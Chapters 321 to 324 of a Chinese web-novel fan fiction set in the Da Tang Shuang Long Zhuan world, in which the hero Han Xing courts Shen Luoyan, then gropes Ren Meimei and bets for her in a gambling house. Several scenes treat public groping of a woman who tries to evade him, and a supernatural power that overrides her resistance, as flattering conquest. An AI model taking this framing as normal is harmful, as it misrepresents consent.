韩星打断道:“搞不好连你也一起怀疑是吧?真搞不懂为什么你非要帮李密那个老淫虫。”
沈落雁白了他一眼,责怪道:“你不是知道我跟密公根本什么事都没有了,为什么还老淫虫老淫虫的叫他。”
韩星冷哼一声道:“你对他的确没什么,可你那么漂亮,天知道他对你有什么想法。对了,那老淫虫平时有没有对你毛手毛脚的,要是有尽管说,我马上去剁了他。”
沈落雁明显很喜欢看到韩星这么在乎自己,不过还是推开他呵斥道:“你可别乱来,密公要是敢对我毛手毛脚,我早离他而去了。反倒是你,第一次见面就对我毛手毛脚。”
韩星尴尬的笑了笑,又道:“来,再让我亲个小嘴。”
说着便又将沈落雁抱入怀里,吻上她的香唇。
沈落雁显然也不舍得现在就与韩星分开,假意轻推韩星几下后,便热烈的回应起来,直到手下再次询问。
沈落雁斥退手下后,依依不舍的看着韩星道:“这次真的要走了,放心吧,我不会为难那两个小子的。”
她一边说着,也不用韩星回避,就在他面前换起衣服,全身都让他看过摸过,甚至亲过大半了,还有什么不能让他看得呢。
韩星欣赏着美女换衣的一幕,又问:“我们那个赌约还继续吗?”
沈落雁道:“当然继续了,我输了就让你得到我的身子,我赢了你就要一生一世对我好。”
韩星不由失笑,发展到现在这个赌约也不知道算什么,好像输赢都什么两样。他心想,就当两人的情趣好了。
沈落雁忽然拿着一翠绿色的肚兜走到韩星面前,扬了扬手中的肚兜道:“后面我绑不到,你帮我绑一下。”
说着便背对着韩星坐到他的双腿上。
温香软肉的感觉差点让韩星暴走,他接过沈落雁手中的肚兜恶狠狠的道:“你这可是在诱惑我,不怕我把你就地正法吗?”
沈落雁得意的道:“我才不怕呢。你真想要对我用强,刚刚我早被你吃了,那还会等到现在。”
韩星只得苦笑不已,帮沈落雁绑起肚兜的绳结,他脱女人的衣服经验多了,帮女人穿衣服的却是没有多少,这种新鲜的感觉稍稍让他兴奋了一阵,忍不住在沈落雁丰满的双乳上摸了一把,弄得她娇嗔不已。
这一件肚兜穿了半天,让韩星占足了便宜。
沈落雁不满的娇哼道:“你这是在耍赖诶,帮人家穿一件衣服,浪费人家这么多时间,小心我输了赖账。”
韩星没有答她,而是笑着拍了拍她弹性惊人的圆臀。
看着沈落雁离开后,韩星躺在她的香床上,留恋的闻了闻沈落雁残留的体香。他这次来找沈落雁其实并没有什么特别目标,只不过觉得整天跟在双龙后面实在太过没趣,便想到来找沈落雁,毕竟对着个美女总好过看着两个小子。
实在想不到二人发展得这么快,沈落雁已经被他占尽了便宜,一颗芳心早已明许,要不是她还要报答李密的知遇之恩,恐怕已经被韩星拿下了。
“接下来干什么好呢?又去跟着小仲他们?”
韩星自言自语道:“还是算了,他们才刚进彭城,跟着他们挺没趣的。还是先去巴陵帮开的那间翠碧楼赌上几把好了……”
翠碧楼。
“不愧是彭城最大的赌档,连早上都这么热闹。”
韩星看着热闹无比的翠碧楼,感叹着:“翠碧楼应该是嫖赌合一的,只不过现在应该没姑娘接客吧。”
此时的他早以从空间袋内搜出一身华贵的衣服换上,大摇大摆神气抖搂地迈进此间赌档的中堂之内。
他一身贵公子打扮,头戴玉冠,身穿雪衣锦袍,脚踏朝天云履,腰间束着白玉扣带,上面垂挂着一块古纹的龙形玉佩,看得那些赌档艳女小星星狂冒。
魔主多变,韩星的魔种乃是魔门瑰宝,多变这一特性更是发挥到极点,气质什么的几乎想变就变。此时他随意漫步,可是他身上却有一种极其神秘的气质无形散发,让他的俊脸生辉,高雅脱俗,在他的身上,尽现上位者的尊贵,让人不敢正视。
赌客们一看他,纷纷给他让路。
如果是埋头狂赌之人不知天地的阻路之人,也马上让心急如焚的护院拉走,在这一个人头涌涌地赌档里让开一条大路,让韩星舒舒服服地走进去。
那是韩星随手丢一块金子带来的结果。
那些赌档里的女侍简直一个个都不会动了,一个个都傻掉了一般,呆呆地看着他走进来,除了眼睛在慢慢转动之外,仿佛连魂魄也飞散九天云海了。特别在看见韩星脸上那一丝丝微笑,更是头晕转向,几个在韩星视线范围之内的女侍看见韩星向她们看过来,走过来,简直连眼珠子也要掉出来了。
几乎没有人不在看着韩星,除了埋头正在狂赌的烂赌鬼之外,所有的人都觉得声音忽然静了下来,接着就看见一个人缓步走了进来。
韩星看着这些人的表现,心中暗爽不已,来赌场这种地方就得有一身好行头,不然就会被那些人狗眼看人低。他虽不至于跟那些狗眼看人低的小人计较,但总被人用鄙视的目光看着也会和不爽。
对于那些明明很有实力,却装成一副孬种的模样,白惹一身嘲讽后又要发难打人,然后高调出位的行为,韩星一向很不理解。别人管那叫‘扮猪吃老虎’,韩星却认为那根本就不是扮,而是真的是‘猪’了。
本来很有本事应该得到别人尊重,却扮成孬种非要受人鄙视,可他还要受不了别人鄙视而暴起打人,最终低调不成反而惹了一大班仇家,那不是猪是什么。
韩星暗爽的时候,一个同样身穿锦衣可是脸色苍白的贵公子听到赌档忽然静了下来,奇怪地走了出来,正准备责问到底发生了什么事,可是他马上发现了韩星。他一看,眼神大变,变得嫉妒,他看见众人看向韩星的眼光,感到极度的羡慕,又感到无比的嫉妒。
为什么?
这个人明明比他大不了多少,可是为什么有那么高贵的气质,他不是不能够接受比自己出色的同辈,可是这个人比他超出太多了,多到他永远没办法追上的地步。
这个人明明只是客人,第一次踏入这一间赌档的客人,却比他这个主人更像主人。从那些女侍看这人的眼神,白脸公子就可以知道,只要他勾勾手指头这些女侍便会立刻为他献身。
韩星平时可以很低调,低调到别人察觉不到他的存在,然而当他决定高调要的时候,他就会成为所有人都要仰视的存在。


322
韩星左右看看皆是俗鄙之人,跟这些人赌实在有失身份,也侮辱了他这身行头和这身气质。人很多时候就是被一身衣服所控制,若韩星平日的模样跟这些粗鄙之人赌一下也没什么,但穿得这么漂亮后就不会想跟他们赌了。
不明白的,可以想像一下若一个身穿名牌西装的人,跑到三教九流的地方赌钱会是个怎样的光景,那个身穿西装的人会因为一身衣服而觉得自己鹤立鸡群倍有面子吗?不会,他反而会因为一身西装打扮而觉得丢脸。
韩星现在就是那个穿西装的人,平心而论他其实并没有多鄙视那些赌徒,但要他穿着这一身好衣服跑去跟他们赌,就实在拉不下面子。
于是韩星越过众人,步进中堂去。
韩星双目一亮,只见靠左的一张赌桌处,一位有如万缘丛中一点红的动人美女,正起劲赌着。
她不但长得眉目如画,最惹人注目是她的襟口开得极低,露出了小半边玉乳和深深的乳-沟,浪荡非常。
一个跟着韩星进来的女侍,见他明显对这个美女很有兴趣,有些吃味的道:“公子,这个女人千万沾惹不得,别看她风-骚迷人,其实她就是‘彭梁会’的三当家,人称‘骚娘’的任媚媚,武技高强,最擅玩弄男人,浑身是刺,碰上她的男人都要倒足霉头,连我们香公子都不敢招惹她呢。”
“彭梁会?”
那女侍奇道:“你们竟连彭梁会都未听过,彭就是彭城,梁指的是彭城西北六十里的梁郡,彭梁会名列‘八帮十会’之一,走到那裹,江湖中人都要卖面子给他们。”
韩星一扬眉:“这么说这个女人我碰不得了?”
女侍连忙点头:“碰不得,碰了要倒大霉的……”
“哦?那你呢,我能不能碰?”
韩星失笑的看着这个女侍调笑道。他自得了魔种后,情场得意,信心大涨根本不认为这个世界有他碰不得的女人。
那女侍听了韩星话,以为他有意与自己春风一度,当下又羞又喜的道:“若公子有意,大可开一间贵宾厢房,奴家自会侍奉公子左右。嗯?公子?”
女侍这才发现身边早已没了韩星的身影,她的样貌虽也算甜美,但看惯极品美女的韩星那里看得上她那点美色。
韩星自自然然站在众人之中,随随便便地问道:“谁愿意来和本公子赌上一把?”
他的声音清澈如泉,又像和风细雨滋润着大地那般滋润着众人的心田,立刻让所有人的注意吸引到他身上。
任媚媚的注意果然被他吸引,用她那娇媚动人的嗓子道:“如果公子不嫌奴家容貌卑劣,那么奴家倒可以陪公子玩玩。”
“请坐。”
韩星微微一笑道:“如果这位姐姐跟本公子说,要与本公子两个人在贵宾房里单对单来赌更加合乎我的心意。”
韩星此言一出,大堂之上所有的男人都心照不宣地哄笑起来。
而任媚媚似是毫不在乎,不过韩星还是留意到,她眼中曾有那么一瞬闪过一丝厌恶和失望。
果然,游秋雁猜得没错,这任媚媚也是个假风-骚的妮子,韩星心中暗笑一声,对她的兴趣大增。
韩星走近任媚媚身边,大手一揽似要将任媚媚搂入怀中。
任媚媚美目闪过一丝慌乱,倏地转身逃过韩星的大手退开数步,娇笑道:“公子好生心急,都还没跟人家赌,就要占人家的便宜。”
说着又小退了半步。
“噗”的一声,任媚媚竟撞入一个强壮男子的怀里。
后面的人调笑道:“姐姐还不是一样心急,这么快就投怀送抱了。”
任媚媚吃惊地回头一望,正是韩星,他刚刚明明还在自己前面才对,什么时候跑到我身后了?
那个脸色苍白的贵公子双目睁大的看着眼前发生的一幕,任媚媚的动作虽然快,但他的视线依然能够捕捉的到,但韩星的动作他连影子都看不到。
韩星不理众人吃惊的反应,一手揽着她的纤腰,手指在她平坦而柔软的小腹轻轻磨砂着,那美妙的触感让他一阵兴奋。
任媚媚想要挣扎,然而小腹传来酸酸麻麻的感觉,然后又是一阵热留涌入散发至全身。她不知道该怎样形容这奇妙感觉,只觉得全身酥酥的痒痒的很是舒服,这舒服的感觉让她一时间忘了挣扎。等她醒觉要挣扎的时候,已经错过了挣扎的时机,便嗔怒的瞪了韩星一眼,却任由韩星占她的便宜。
美人落怀让韩星心情大畅,哈哈一笑道:“难道彭城除了这一位漂亮的姐姐是有胆识的巾帼英雄之外,就再没有一位裤档里带把的男子敢出来跟本公子对赌一局?”
韩星虽然吐粗言,可是众人听得心情大爽,更觉韩星有男子之气慨。许多人都为韩星言语所激,准备下场与他对赌一番,即使输掉裤子,也能证明自己裤档里的的确确是带把的。
“我来!”
那个脸色苍白的贵公子气血上涌,他心中对韩星的嫉妒已经到了极限,整个人都快要颠狂和爆炸了。他无法忍受韩星明明是客,可是却能像主人一样要风得风,要雨得雨;他无忍受韩星那般受到众人的追捧,就连那千娇百媚的任媚媚都对他青睐有加。
这个色苍白的贵公子虽对任媚媚有所觊觎,但想到传闻中凡是碰上她的男人都会倒大霉,最终只得放弃追逐一番的念头。现在看到自己那么忌惮的任媚媚竟如此温顺的在他怀里,任他随意亵玩,不由妒心大起。
又被韩星语言所激,终于忍不住跳出来,大吼道:“你要赌什么?我来跟你赌!”
“请坐。”
韩星奇怪的看着这一个因为激动而在本来苍白的脸色抹上一种诡艳红色的贵公子,心中不由有点莫名其妙,自己的话虽然有点难听,但不至于激动成这样吧,难道是任媚媚的姘头?
韩星对任媚媚低声问道:“这个好像发羊癫疯的男人,该不会是你姘头吧?”
任媚媚一听韩星的话,不由心中一急:“才不是呢,人家才没有什么姘头,你别乱说。”
“哦?”
韩星奇道:“那他为什么一见到我占你便宜就发那么大脾气。”
“我怎么知道?”
任媚媚也是奇怪,这个贵公子她认识,平时看到自己就跟其他男人那样一副很害怕的样子。
韩星左右看看又亮声道:“除了这一位应该是带把的年轻公子之外,彭城还有带把的男儿吗?”
“没有吗?”
见再没有人站出来,韩星阔然一笑道:“也罢,有这么姐姐就够,说实在的,本公子现在也只想跟这位姐姐到贵宾房里去好好‘赌’上两把!”
说着,他的手又摸上了两寸,很快就要攀上任媚媚高耸的骄傲。
任媚媚在韩星怀里低呼一声,面露羞红,在韩星耳边低声嗔道:“你不要太过分了。”
韩星嘿嘿一笑道:“我会这么过分,还不是因为姐姐美得过分。”
说着便在任媚媚低呼中,攀上了那傲人的山峰,惊人的弹性让韩星为之神迷。
美女总是能吸引男人的眼球的,哪怕任媚媚声名是多么狼藉,看到韩星攀顶的动作,几乎全场的男人都‘咕’一声吞了一下口水,他们是多么希望那只手是属于他的,要是能像韩星那样摸上一摸,叫他们短上三年命也肯。
任媚媚的身体显然相当敏感,当然这里也有魔种的关系,被韩星摸上几摸后已经双颊酡红,媚眼如丝。
看到任媚媚如此反应,韩星哪里还有心情跟这个一面病态的贵公子赌,笑嘻嘻的道:“看来姐姐也不反对小弟的话,不如我们抓紧时间到贵宾房里‘赌’上几把,姐姐意下如何?”
“还是早上哩。”
任媚媚没有明确反对,只是白了他一眼,说了这么一句引人遐思的话。
韩星呵呵一笑道:“早上就早上,赌钱又不分早晚的,姐姐该不会想到什么奇怪的事情去了?”
“等等!”
眼看韩星他们就要开-房去了,那个脸色苍白的贵公子大急,站了起来道:“媚姑你先等等,我想跟这位公子赌两手。”
“是吗?”
韩星就这么抱着任媚媚坐下,让她坐到自己的腿上,大-腿被任媚媚那丰满的臀-部挤压,那柔软的触感舒服得韩星不知该怎样形容。
韩星经历过那么多美女,那点定力还是有的,又对那个贵公子道:“不知要与本公子对赌的你,叫什么名字呢?”
“本人香玉山。”
那个贵公子微哼一声,道:“乃此间赌档的少东,本少东欢喜贵客光临,既然公子喜欢豪赌,本少东一定好好奉陪公子赌上两把,就是不知公子想赌什么呢?是牌九,押宝,还是骰子?”
“香玉山?”
听到香玉山报出名字,韩星眼里闪过一丝凌厉的杀气却很快隐去,香玉山与香贵父子正是害小鹤儿家破人亡的重要凶手之一。韩星曾劝小鹤儿不要整天想着报仇,弄得自己整日郁郁寡欢。小鹤儿最后听了韩星的话,放弃了仇恨之心,拜托过韩星代其诛杀香家父子。
“是的,难道阁下也曾听过在下的名字?”
香玉山明显有点得意。
“呵呵,久仰久仰。”
韩星客气道,心中却想着:双龙还需要巴陵帮和香玉山引荐才能见到杨广,等面见杨广的事过了后,再杀他也不迟,反正在那之后他的角色就不怎么重要了,就让他再活几个月好了。
香玉山自然不知道韩星已经在计算他的死期,还真以为韩星‘久仰’他的大名,心中大是得意,看韩星的样子也顺眼了很多,便问道:“不知公子可否也将姓名相告呢?”
韩星微微一笑道:“本公子姓韩名柏。”
他的本名已经在这个世界闯下偌大的名头,若说出来恐怕在场的人都会大吃一惊,未免不必要的麻烦,只好用回韩天德给他起的名字。
韩星又转身对任媚媚,假意问道:“说起来,我还不曾知道姐姐的芳名哩,不知姐姐可否相告。”


323
“你还知道要问人家的名字,还以为你会问都不问就拉人家去上-床呢。”
任媚媚忽然面色一黯道:“若你知道人家的名字说不定会怕了人家,不会对人家这么亲热呢。”
韩星哈哈一笑道:“你尽管说出来就是,看我怕不怕?”
任媚媚说道:“奴家任媚媚。”
韩星笑道:“原来是彭梁会的任姐姐。”
任媚媚嫣然一笑道:“韩公子好像真的不怕。”
“如此好名字,有什么好怕的。”
韩星夸赞道:“真是人如其名,媚姿惊俗。任美人不但人长得动人,而且就连名字也起得恰如其分,妙啊!”
任媚媚喜孜孜地道:“公子嘴巴真甜,奴家听了很开心呢。”
她又道:“韩公子嘴这么甜,一定能骗到许多千金小姐,江湖女侠。”
韩星忽然作出一个腼腆的表情,一副很不好意思的样子道:“其实我还没沾过女色呢。”
在场的人听了韩星的话,差点倒地不起,看他对任媚媚上下其手,双手的动作熟练,轻捻慢揉,该轻的轻,该重的重,对女人的敏感点明显相当熟悉。这不,才一会功夫,就将任媚媚弄得浑身冒火,脸上红扑扑的显然早以被他挑起了欲-火。这样的人会没沾过女色?打死他们也不相信。
“我喜欢快一点的赌法。”
韩星也不管他们信与不信,笑嘻嘻地道:“不如我们以骰子猜点数好了。骰子麻烦这一位……叫什么?”
韩星故意问任媚媚,等任媚媚回答了香玉山的名字之后,再点点头道:“对,叫香玉山,这一位玉山兄准备骰子好了。大家请原谅,本公子记性不太好,只是对一些美女的芳名才比较容易记住一些。”
韩星的话又引起众人的哄堂大笑,只有香玉山没有,他的脸色难看几乎已经扭曲了。
他先前还为韩星那句久仰而沾沾自喜,现在看来对方根本不把他放在眼里,而且还当着众人之面来羞辱他。一股由心而生的杀意马上滋生出来,迅速增长,等他再听到众人的哄笑声时,更觉得心中有一把尖刀插着,那心不但痛,而且淌着血。
这一切,都是那个叫韩柏的年轻公子所带来的。真想一刀杀了他,以泄心头之恨。
“那一位谁?啊……玉山兄对吧?你可以去准备骰子了。”
韩星又对那个香玉山道。
“骰子有的是!”
香玉山怒胀着脸,他尽量让自己平静,尽量让自己按压下心火,他尽量让自己表现在更加潇洒更加完美一点,用一种他自己都不敢相信的挤捏声音艰难地道:“我们……赌多大……赌注是什么?”
香玉山想按下自己的怒气,马上发现自己几乎完全失去了平日的理性,他隐隐感觉到那个韩柏身上传来一丝奇怪的挑衅,那是看不见摸不着的挑衅,就像一种精神暗示,好像他曾经把自己的家人杀光一样,要自己讨厌他憎恨他,只要多看那个韩柏一眼,就会发疯!
韩星看着香玉山强忍着恨意的表情,心中暗笑着:“仇恨、怒火这些负面情绪要是能够得到发泄出来,那种发泄的感觉是相当爽的,但一直压抑在心里的话却会让人相当抓狂,甚至是疯掉都有可能。我虽然不打算现在就杀你,但是这几个月我也不会让你好过,好好感受一下小鹤儿还有那些被你害得家破人亡的仇恨,然后带着这个仇恨中直至死亡的一刻吧。”
“你喜欢赌什么就赌什么!”
韩星看也不看他,他只去看那个任媚媚,笑嘻嘻的道:“任美人又想赌什么呢?”
任媚媚娇笑道:“香三少似乎想单对单跟韩公子一把,这把奴家就先不参与了。”
“哦?”
韩星一面失望,看向香玉山问:“你呢,想好赌什么了吗?”
“我要跟你赌金子!”
那香玉山压着怒气,阴沉地低声咆哮道:“你有多少金子?全部拿出来看看能够跟本少东赌几把?”
香玉山看准了韩柏,他的身上根本就不像能带很多金子的样子,他身后没有什么随从之类的跟着,只是孤身一人,身上能带多少金子?
他如果所带不多,自己一把大起他,让他丢人丢到姥姥家里去,到时……香玉山在心底恶毒地阴笑着。
“如果这一位叫做什么?玉山兄对吧?”
韩星看了不看香玉山,打了个呵欠道:“如果玉山兄要跟本公子赌一千两金子一把的话,倒真赌不了很多把呢!”
“我们就赌一千两一把。”
香玉山算死韩柏,就算他真的家底丰厚,但他身上也绝不可能藏得下一千两黄金,他恶毒地阴笑道:“韩公子不是说任意下注的吗?本少东决定,跟韩公子赌一千两黄金一把,韩公子请把赌注拿出来吧!”
众人听后大哗!
就连身材火爆的任媚媚也动容了,她带点恼怒地看向香玉山,她开始明白他的意图,他想让这一个叫做韩柏的年轻公子丢丑。等这一个威风凛凛的韩公子拿不出一千两黄金之后,他再尽情地嘲讽,打击那一个比他更英俊更年轻更尊贵更讨人喜欢的韩公子。因为很显然,他在嫉妒那个年少多金又风流倜傥的韩公子,这一点,也瞎子看得出来。
韩星却没有提出异议,只是懒懒的道:“你要跟我赌一千两黄金是吧,真是豪气啊,玉……玉啥来着?算了不想了,反正也不过是个不重要的人。玉那个啥,一千两黄金不少,你有那么多金子吗?”
他不说自己有没有,却质疑对方有没有,显然,他是接受了香玉山的赌注。
众人听了,又一阵大哗!难道他真有办法拿出一千两黄金?
听了韩星的话,香玉山气得脸一阵青一阵白,他根本无法冷静下来。如果是平时他绝不可能为了几句话就怒成这样,然而韩星身上传来的感觉让他好像被烈火焚烧,差点就要跳起来狂喊乱叫。
“把金条取出来!”
香玉山勉强压住怒气,命令亲随道。
等几个亲随和十几个护院在几位庄家的带领之下进入后场,并在暗柜取出足足一百条金条堆放在香玉山面前时,所有的人都看得喘不过气来,所有的人都让那堆金子的光芒映花了眼睛。如果不是有十几个护院和几个看起来高手模样的武士围在香玉山的身旁,相信众人早就一涌而上,将那个正在得意地哈哈大笑的香玉山一脚踹倒,再哄抢光他的金条。
“千两黄金本少东我就拿出来了,你的呢?”
香玉山阴森地笑道:“你这个年少多金的贵公子不是想告诉我,你拿不出来罢?你拿不出来凭什么在这里跟我嚷嚷?这时是你嚷嚷的地方吗?你连一千两金子也拿不出来你学什么人豪赌?你有那个本钱吗?你有那个资格吗?”
韩星点头道:“一千两黄金是挺多的,不过……”
香玉山得意忘形的打断道:“不过什么,拿不出来你就不要死充!”
他趾高气扬地指着韩星,冷笑道:“叫什么?韩什么公子是吧?是叫韩什么对吗?真的不是穷什么公子吗?”
他故意问他的亲随,学着韩星刚才问任媚媚那样,听到亲随的对答之后,然后疯狂地大笑起来,道:“原来真是韩什么公子!不是穷什么公子!哈哈哈!”
他面色潮红,笑起来的样子更是疯狂,那些赌徒看着他的样子就像看到疯子一样。
香玉山终于注意到那些赌徒眼神的异样,狂怒道:“你们看什么?要看就看那个什么鬼韩公子,看他怎样出丑!”
“这位韩什么东西,你不是说你要多大就赌多大的吗?”
香玉山得意地狂笑道:“我现在就跟你赌一千两黄金,而且还是一把!如果你有的,就快点拿出来吧!我好想看看你赢掉我一千两黄金的威风样子啊!我简直迫不及待就想看看!韩什么东西,你真的有一千两黄金吗?你真的有金子吗?”
那些亲随发现他们的公子实在太过失态了,便走到他耳边低声相劝。
任媚媚疑惑的看着香玉山,她知道香玉山今日的表现绝对不正常,而这很有可能跟这个正搂着他大占便宜的韩公子有关,偏偏她又搞不清楚。
香玉山亲随的劝导下终于勉强恢复过来,却见韩星翘着二郎腿,一副看白痴的样子看着他道:“恢复过来了?怎么不再疯一阵,你刚刚发疯的样子挺可爱的,玉啥子。”
那句‘玉啥子’怎么听怎么像‘玉傻子’。
听得香玉山肺都快气炸了,要不是亲随拉着他,恐怕已经扑上去跟韩星拼命了,“你!你,你还是快拿一千两黄金出来再说吧。”
“让你操心了。”
韩星忽然微微一笑道:“一千两黄金虽然不少,可韩某人还能拿得出来。”
说着,他便把手伸进单薄衣襟内,就在所有人都疑惑不已的时候,他忽然停下来对任媚媚道:“任美人,想不想来摸上几把。”
“去你的,现在还说笑。”
任媚媚娇嗔一句,接着又韩星在耳边低声道:“是不是拿不出来?放心,我虽然没有一千两黄金,但凭我‘彭梁会’的势力,要保你香玉山也不敢乱来的。”
“哦?”
韩星惊奇道:“看来任美人挺紧张我的,韩某何如幸之。”
他又道:“不过一千两韩某还是有的,不信任美人摸摸。”
说着便抓起任媚媚的手往他衣襟内塞去。
任媚媚本想反抗,奈何力量根本及不上韩星,被他硬拉着伸了进去,然而却没有摸到意料中的肌肉,而是好像伸进一片极大的空间,再往里伸进一点就摸到一个颇大的包裹。
很重!任媚媚想着,将这个包裹从韩星衣内抽了出来。
众人一阵哗然,都不明白这个包囊这么大,任媚媚是怎么从韩星的衣襟内拿出来的。要知道韩星的衣服虽然华贵,但并不算宽大,而且平平的怎么也不可能藏着这么大的一个包囊。


324
看到任媚媚那不可置信的样子,韩星笑问:“奇怪吗?要不要再来一次?”
说着,也不等任媚媚回答,便再次抓着她的手伸进衣襟内。
任媚媚也想再试一次,所以这次倒没怎么反抗,然而这次却没有伸入那个巨大的空间,只是摸到韩星那健壮的胸肌。
韩星笑嘻嘻的道:“怎样?手感不错吧。”
任媚媚急忙抽回纤手,故作不解道:“什么手感?跟猪肉狗肉没有什么分别的。”
任媚媚明显修炼过媚术,刚刚跟韩星肌肤之亲,立刻对魔种产生强烈的反应,手上传来一种奇妙的感觉。她也不懂该怎样形容这种感觉,有点害怕,有点兴奋,还有点好奇,连心跳都加快了不少,不过她知道自己并不讨厌那种感觉,要不是时间地点都不对,她真想再体验一下那种奇妙的感觉。
看着二人在他面前打情骂俏,香玉山不爽了,他倒不至于为任媚媚妒忌,只不过他很讨厌这种被忽略的感觉,尤其是眼前这个男人是如此的讨厌。
香玉山大吼道:“还没确定这些到底是不是黄金?我要验过他那些到底是不是黄金!说不定他在弄虚作假,那么大的一个包裹,谁看见他拿进来的?他根本就在唬弄大家!”
“你再乱说话我会告你诽谤的。”
韩星好整以暇地道:“还有,你刚刚看不见吗?这些金子是任美人拿出来,说不定是任美人见我长得俊,帮我一把。”
任媚媚咯咯的娇笑起来:“公子可别把奴家拉下水,奴家可拿不出这么多金子。”
香玉山抢道:“对,媚姑不要被他拉下水,不然验出来是假的就不好了。”
韩星呵呵一笑道:“既然玉啥子那么怀疑本公子的金子,尽管叫人来验验,不过最好不好搞偷龙转凤的把戏。”
他又对任媚媚道:“任美人,你帮本公子拿去给他们那边的人看一下,证明本公子的金子不是假的,好吗?如果你肯帮本公跑这一个差事,本公子一会如果赢钱了,就分一半给任美人做劳务费好不好?”
“劳务费就不必了。”
任媚媚一脸娇笑地从韩星怀里站起来,问道:“韩公子就这么相信人家?不怕人家合着香三少黑了你的金子,这么多金子看得人家心都跳起出哩。”
韩星哈哈一笑,道:“你心跳不是因为金子,而是因为我……”
“臭美。”
任媚媚嗔了一句,又拿起那包金子,用手感觉一下那重量,又道:“韩公子这里应该不止一千两吧。”
韩星不太确定的道:“大概有一千三百两吧,具体多少真不记得了,我对这些一向不太在意。”
“这可是金子啊,看来你家真的很有钱。”
任媚媚纤纤玉手随手一提,把那一百三十斤重的金子毫不费劲地提在手中,柳腰轻摆,款款地来到香玉山他们一干人的面前,微带一种冰寒的笑意地道:“金子我就送来了,不知你们想怎么验?不会是拿回去你们后间偷偷摸摸地验吧?我看过了,这些金子每一个上面有纹着记号,似乎要动手脚还不太容易呢!”
香玉山怒极,可是却无法发作,憋得眼睛都快滴血了。
几个庄家上来,一个个金砖地看了半天,相视惧然,其中一个朗声道:“确实是真金,而且这里一共有一千三百六十二两。”
任媚媚满意的点点头,又提起金子来到韩星跟前放下,然后又坐到韩星大-腿上。
韩星大手搂着她柔软的纤腰,在她耳边低声道:“看来任美人很喜欢本公子的大-腿哩。”
任媚媚面上一红却没有说话,她也不明白刚刚是怎么回事,下意识就坐到韩星怀里,好像那里就是全世界最舒服的座位一样。
香玉山面色极其难看,极力压抑着声音问:“那三百六十二两黄金我暂时拿不出,可不可以给一点时间我准备?”
韩星不耐烦的道:“我还急着和任美人到贵宾房‘对赌’,哪有那么多时间等你,那三百两黄金就算了,我们一把定输赢吧。”
“好!”
香玉山听了韩星的话,急急地指定摇骰之人:“邓叔,你来摇骰。”
一个双手很长的枯瘦中年人走了出来,他脸色腊黄,嘴唇干燥,一双眼睛就像死鱼那样无神,倒是一双手却像女子般白晰柔嫩,长长的手指那指甲修剪得整整齐齐的,很是干净又很是平稳。
这桌赌的原是押宝,由摊官把一粒象牙骰子,放在一个小铜盒内,把盒盖套了上去,摇匀和旋动一番后开盖,向上的颜色或点数,就是这局赌的宝,押中者胜。若两人对赌,又可押双押单,或赌偏正和颜色,非常简单。
那个邓叔揭拿起赌桌中央的那个小铜盒,露出里面的一颗大骰子,轻轻地拈起来,分别给韩星和香玉山看。
香玉山虽然恨极了韩星,不过此时还有点理智,自问武功不及对方,但对赌却非常在行,向韩星道:“这位公子若不反对,我们可不玩押宝改以三粒骰子赌一把,未知意下如何?”
韩星暗骂一声小狐狸,知道他怕自己以内劲影响骰子的点数,故要用上三粒骰子,使难度大增,不过对方那会想道自己功力已经达到先天之境,毫不犹豫道:“可以!就掷三粒骰子吧!”
于是,那邓叔另外取出三粒骰子,非常郑重地送给两人验看,然后熟练地掷进大瓷盆里。
骰子没有在盆内蹦跳碰撞,只是滴溜溜打着转,发出所有赌徒都觉得刺激无比的熟悉响声。
邓叔高声道:“离台半尺!”
韩星和香玉山同时收回按在台上的手,以免教人误会借着台子动手脚。
全场观众的心都提到咽喉处,感到刺激之极。
邓叔将盆盖套上,把载着骰子的盆子整个提了起来,怒叱一声,迅速摇动。
骰子在盆内发出一阵清脆的响声,扣紧着全场的心弦。
“蓬!”
盆子重重放回桌心处。
“你是客人。”
香玉山故作大方道:“你先猜!”
韩星心中冷笑,他知道无论他猜什么都不对,虽然那个邓叔由始至终都显得公正无比,但香玉山乃翠碧楼的少东家,傻子才相信他们不会弄鬼。
韩星没有立刻猜,而是对任媚媚道:“任美人,反正也是赌,不如我们在这个赌局上再立一赌局,如何?”
“哦?”
任媚媚本是很有兴趣,却又苦恼道:“你们赌这么大,奴家可赌不起。”
韩星用眼光巡视了任媚媚的俏脸和高挺的双峰,满意一笑道:“我们不赌钱。”
任媚媚被他勾起好奇心,问:“那赌什么?”
“赌人。”
“赌人?”
韩星点头道:“是的!假若我赢了,任美人就要陪我睡一觉。”
全场立时为之哗然,同时又觉得极之刺激,就是不知任媚媚肯不肯。
任媚媚显然不喜欢这个赌注,有点不悦又有点委屈的道:“奴家又不是财物,怎么可以拿来赌?”
韩星哈哈一笑道:“任美人想那去了?只是睡一觉而已,其他的什么都不用做,很纯洁的。”
听了韩星的话,全场都用鄙视的眼光看着韩星,这算是什么哄女人的手法,上了床还真会什么都不做?
任媚媚‘噗哧’一声娇笑道:“你当奴家是什么都不懂女娃子吗?上了床,你想纯洁,我还不让你纯洁哩。啊!我都说什么话了?”
任媚媚乍然发现自己说漏嘴了,看着韩星笑得没心没肺的,不由嗔道:“你还笑?要不是你我怎么会这样……”
韩星收回笑容,问道:“那你是赌与不赌?”
任媚媚娇哼一声道:“那你呢,你输了又是如何?”
韩星仰天长笑,声震屋瓦,意态飞扬道:“若我输了,就把命给你。”
任媚媚见到他不可一世的豪雄气慨,一时间芳心忐忑乱跳,知道若他胜了,自己真会心甘情愿让他摆布。这种人物,她虽阅人甚多,还是首次遇上。
任媚媚嫣然一笑,又问:“你还没说我们怎样个赌发哩。”
她没在赌注上争论,而是问韩星赌法,显然已经接受了韩星的赌注。
韩星眼中射出凌厉之色,望进任媚媚的美眸里,一字一字地道:“就以我和这个玉啥子的输赢再赌一次,若我赢了玉啥子,就算你输,你就要陪我睡一觉。”
见任媚媚没有说话,韩星又道:“你不说我就算你默许了。”
“你可以猜了吗?”
香玉山冷哼一声道,韩星左一句玉啥子右一句玉啥子,早已让他极之不满。
“你急个啥?”
韩星不满的向香玉山说了一句,又转向任媚媚道:“任美人娘替我猜吧。”
任媚媚俏脸一红,垂头低声道:“若猜错了!怎办才好。”
她如此一说,众人都知她对韩星已有垂青之意。
于是,她又补充道:“一千两黄金一把的大赌注,你怎可让人家背负如此重的责任?要是猜错了,人家可是赔不起哩!”
她这个解析怎么看都是此地无银。
“一千两黄金算个屁!”
韩星哈哈大笑道:“我在意的只是我们的赌局。”
任媚媚美目深注着盆盖,轻轻道:“双!”
